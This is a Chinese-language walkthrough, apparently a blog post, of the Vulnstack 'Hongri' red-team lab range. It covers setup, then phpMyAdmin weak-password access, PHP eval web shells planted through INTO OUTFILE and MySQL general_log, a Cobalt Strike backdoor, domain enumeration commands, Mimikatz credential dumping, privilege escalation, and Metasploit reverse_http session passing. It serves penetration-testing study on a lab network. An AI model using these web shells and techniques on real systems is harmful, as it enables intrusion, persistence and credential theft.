靶场描述:
红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环。后续也会搭建真实APT实战环境,从实战中成长。关于环境可以模拟出各种各样实战路线,目前给出作者实战的一套攻击实战路线如下,虚拟机所有统一密码:hongrisec@2019:
一、环境搭建
1.环境搭建测试
2.信息收集
二、漏洞利用
3.漏洞搜索与利用
4.后台Getshell上传技巧
5.系统信息收集
6.主机密码收集
三、内网搜集
7.内网--继续信息收集
8.内网攻击姿势--信息泄露
9.内网攻击姿势-MS08-067
10.内网攻击姿势-SMB远程桌面口令猜测
11.内网攻击姿势-Oracle数据库TNS服务漏洞
12.内网攻击姿势-RPC DCOM服务漏洞
四、横向移动
13.内网其它主机端口-文件读取
14.内网其它主机端口-redis
15.内网其它主机端口-redis Getshell
16.内网其它主机端口-MySQL数据库
17.内网其它主机端口-MySQL提权
五、构建通道
18.内网其它主机端口-代理转发
六、持久控制
19.域渗透-域成员信息收集
20.域渗透-基础服务弱口令探测及深度利用之powershell
21.域渗透-横向移动[wmi利用]
22.域渗透-C2命令执行
23.域渗透-利用DomainFronting实现对beacon的深度隐藏
24.域渗透-域控实现与利用
七、痕迹清理
25、日志清理
红日靶场一下载地址:
http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
环境搭建
拓扑图:
实际上域环境三台虚拟机的 IP 初始状态就已经被配置为固定的 192.168.52.XXX/24网段(同时已配置好域控 IP 必定为 192.168.52.138),故 VMware 仅主机模式的 VMnet1 网卡应注意也配置为 192.168.52.XXX/24 网段:
从网络拓扑图得知,需要模拟内网和外网两个网段, Win7 虚拟机相当于网关服务器,所以需要两张网卡,故需要配置两个网卡,点击添加网络设配器:
Win7
作为Web服务器需要有一个外网网卡,打开虚拟机设置新增一张网卡,将网卡分别设置成仅主机模式和桥接模式。
Win2k3
将网卡设置成仅主机模式:
win2008
也同样将网卡设置为仅主机模式:
Kali
将Kali的网卡设置为桥接模式(我这个Kali是自用的,只需要设置一张网卡即可,不用如图搞那么多张):
win7原始密码:hongrisec@2019
主机名 | 密码 | IP地址 | 描述 |
---|---|---|---|
Kali | root | 外网:169.254.58.5 内网:192.168.52.5 | 攻击机 |
win7 | Admin123 | 外网:169.254.58.216 内网:192.168.52.143 | web服务器 |
win2k3 | Admin123 | 内网:192.168.52.141 | 域成员 |
win2008 | hongrisec@2019 | 内网:192.168.52.138 | 域控 |
tips
win7中的phpstudy面板是坏的,所以需要重新下载一个,下载地址:https://www.xp.cn/download.html
(记得要将原本phpstudy中的www目录下的所有文件复制下来)
配置好小皮面板后开启环境:
记得要将防火墙全部关闭,否则后续无法进行实验:
测试连通性
kali ping 三个机器
外网渗透
一共有两个思路,一个是phpmyadmin,一个是yxcms网站,不过我这边的yxcms文件损坏打不开,所以只写了phpmyadmin的思路。
如果以后有机会的话,再将yxcms补上。
信息收集
使用nmap查看win7开启了什么端口:
nmap -sV 192.168.52.143
发现开启了80、135、445、3306端口,而且开启了http服务:
访问其http服务:
http://192.168.52.143
发现什么都没:
目录扫描
使用dirb进行目录扫描,发现/phpmyadmin目录
破解phpmyadmin密码
使用phpmyadmin弱口令爆破工具进行破解,账号密码:
user:root
password:root
查询phpmyadmin路径
使用命令查询网站的后台绝对路径:
select @@basedir
根据反馈,可以看到 MySQL 的位置在 C:\phpstudy_pro\Extensions\MySQL5.7.26\目录下
或者查找是否存在探针:
http://192.168.52.143/l.php
可以看到文件的绝对路径是C:/phpstudy_pro/WWW
上传一句话木马
可以参考文章:https://www.cnblogs.com/imawuya/p/17680722.html
into outfile写入木马文件
获取网站路径后就可以尝试上传木马,最常用的是通过into outfile
在网站根目录上直接写入一句话木马:
select "<?php @eval($_POST['pass']);?>" INTO OUTFILE "D:\\WWW\\shell.php"
当前靶机的绝对路径是C:/phpstudy_pro/WWW
所以是:
select "<?php @eval($_POST['pass']);?>" INTO OUTFILE "C:\\phpstudy_pro\WWW\\shell.php"
写入失败:
查看数据库是否有导入权限:
SHOW GLOBAL VARIABLES LIKE '%secure%'
显示了null,表示没有写入权限:
日志文件写入木马
into outfile方法不行,尝试使用日志get shell
查看日志状态:
show variables like '%general%';
OFF:关闭
ON:开启
开启日志记录:
set global general_log = "ON";
查看当前的日志目录:
show variables like 'general%';
指定日志文件:
set global general_log_file = "C:\\phpstudy_pro\WWW\404.php";
写入执行代码:
select "<?php phpinfo();@eval($_POST['cmd']);?>";
将代码放到查询框查询:
set global general_log = "ON";
show variables like 'general%';
set global general_log_file = "C:/phpstudy_pro/WWW/404.php"; //将文件写入404.php中
select "<?php phpinfo();@eval($_POST['cmd']);?>"; //一次没成功就把这句再执行(浏览器输入/404.php)
或者:SELECT '<?php eval($_POST["cmd"]);?>' //可以使用工具进行连接(浏览器输入/shell.php)
使用中国蚁剑连接
两个木马都可以尝试连接成功,随便选一个即可:
内网信息收集
使用WIn7当作跳板机,横向渗透拿下内网域内的域成员主机和域控主机。
靶机CS Backdoor上线
开启cs,生成exe可执行backdoor程序
上线CS,生成exe可执行backdoor程序,通过蚁剑上传并执行
运行cs.sh
制作木马程序
生成后将木马程序通过蚁剑上传(直接拖拽进去):
在蚁剑虚拟终端中输入命令运行木马程序:
可以看到靶机
右键选择 靶机> 目标> Net View,在下方可以看到一个命令行
使用CS进行信息收集
输入命令 :
sleep 0 //此命令可以让回显变快,不输入此命令也无妨
进行信息搜集,搜集主机及内网信息:
一些cs命令:
shell whoami //显示administrator权限
shell systeminfo //查看系统信息
shell ipconfig /all //查看是否存在域
shell time /domain //获取当前域控制器的时间 输入该命令可能存在如下三种情况:存在域,当前用户不是域用户;存在域,当前用户是域用户;不存在域。
shell net view /domain //查看所有域
shell nbtbios //快速探测内网
shell net group "domain computers" /domain //查看域控制器主机名
shell nltest /domain_trusts //查看域信任关系
shell net accounts /domain //查看域内账号密码信息
shell nltest /dclist:hacker //查看当前域的域控制器
shell net group "Domain Controllers" /domain //获取域控制器列表
shell net group "Domain Admins" /domain //获取域管理员列表
shell Tasklist /v //列出进程和进程用户
导入PowerView模块:powershell-import
<img src="https://img2023.cnblogs.com/blog/2719656/202309/2719656-20230909161140029-1737019434.png" alt="image">
发现这个系统只安装了四个补丁:
获取当前域控制器的时间,存在域,说明当前用户是域用户
查看当前域
左上角 Cobalt Strike > 可视化 > 目标列表 可以看到域中的机器
导入PowerView模块:powershell-import,可以使用以下命令进行信息收集
使用CS自带的Mimikatz抓取明文密码
抓取到的密码
利用 MS14-058 成功提权到 SYSTEM 系统权限账户
首先需要下载提权工具包,下载好后复制到Kali中。
提权包下载地址:
https://github.com/rsmudge/ElevateKit
打开Csbalt Strike > 脚本管理器
导入提权工具包:
点击提权,就可以发现新增了许多攻击脚本:
选择 ms15-051 成功提权到 SYSTEM 系统权限账户:
内网横向渗透
通过 Win7 跳板机,横向渗透拿下内网域内的域成员主机和域控主机。
MSF 开启监听
msfconsole //启动msf
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf6 exploit(multi/handler) > set lhost 192.168.52.5
lhost => 192.168.52.5
msf6 exploit(multi/handler) > set lport 5555
lport => 5555
msf6 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
CS 开启监听
回到 Cobalt Strike 中添加监听器,Payload 为 windows/foreign/reverse_http,IP 为 MSF 的 IP,监听端口为 MSF 监听的端口:
Cobaltstrike派生会话
在 cs的现有会话上增加会话:
选择刚刚建立的监听器
通过HTTP监听器,MSF成功接收到了来自靶机(IP地址为192.168.52.143)的请求,并将其连接到本地的Meterpreter会话:
msf设置:
sessions -i //转到特定的Shell会话
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/win GOD\Administrator @ 192.168.52.5:5555 ->
dows STU1 192.168.52.143:2747
6 (192.168.52.143)
msf6 exploit(multi/handler) > sessions -i 1 //id为1
[*] Starting interaction with 1...
Metasploit派生会话
这个是另一种方法,就不详细说明了,方法如下:
首先在cs中开启监听
msf配置
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true #默认情况下,payload_inject执行之后会在本地产生一个新的handler,由于我们已经有了一个,所以不需要在产生一个,所以这里我们设置为true
set lhost 192.168.52.143 #cobaltstrike监听的ip
set lport 6666 #cobaltstrike监听的端口
set session 1 #这里是获得的session的id
exploit
返回CS查看反弹成功